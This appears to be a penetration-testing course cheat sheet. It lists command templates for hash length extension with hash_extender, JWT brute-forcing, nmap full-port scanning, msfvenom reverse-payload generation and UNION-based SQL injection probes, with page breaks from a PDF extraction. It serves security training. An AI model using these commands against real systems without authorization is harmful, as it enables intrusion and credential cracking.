Command Cheat Sheet
Command Cheat Sheet
Command
Cheat Sheet
NSS Training – Command Cheat Sheet
Common Commands
$ burpsuite Start Burp from command line
Additional commands
./hash_extender --data [data] --secret-min [min-
Generate hashes of different
len] --secret-max [max-len] --append [value] --
lengths to perform hash length
signature [signature] --format [type] --out-data-
extension attack
format [type] --table
Page | 1
©
Claranet Cyber Security 2021. All rights reserved
NSS Training – Command Cheat Sheet
Python Commands
python pythonserv.py / pythonserv Runs the pythonserv script
python3 brute-jwt.py --file (Dictionary path) -- Runs the brute-jwt script along
algorithm (algorithm type) --token (token string) with its parameters
NMAP
Full Port, no DNS, basic scripts,
# nmap -sV -A –p- -nvvv [host]
version finger print and verbose
# nmap -iL <infile> -oA <outfile> [host] Input and output files
Page | 2
©
Claranet Cyber Security 2021. All rights reserved
NSS Training – Command Cheat Sheet
Metasploit
# msfconsole Launch Metasploit console
# msfvenom -p <payload_name>
Generate a payload using
LHOST=<local_host_IP> LPORT=<local_port> -f
msfvenom
<file_format> > filename.extention
ENCODE/DECODE Commands
$ echo "test" | base64 Encode → Text to Base64
Page | 3
©
Claranet Cyber Security 2021. All rights reserved
NSS Training – Command Cheat Sheet
> -@@version
MYSQL Server version Details
> UNION ALL SELECT NULL,version() #
Page | 4
©
Claranet Cyber Security 2021. All rights reserved
NSS Training – Command Cheat Sheet
> az storage share exists --account-name (account Verifies and tells if there is a
name) --account-key (account key) --name (name) storage server share available.
Page | 5
©
Claranet Cyber Security 2021. All rights reserved
NSS Training – Command Cheat Sheet
Page | 6
©
Claranet Cyber Security 2021. All rights reserved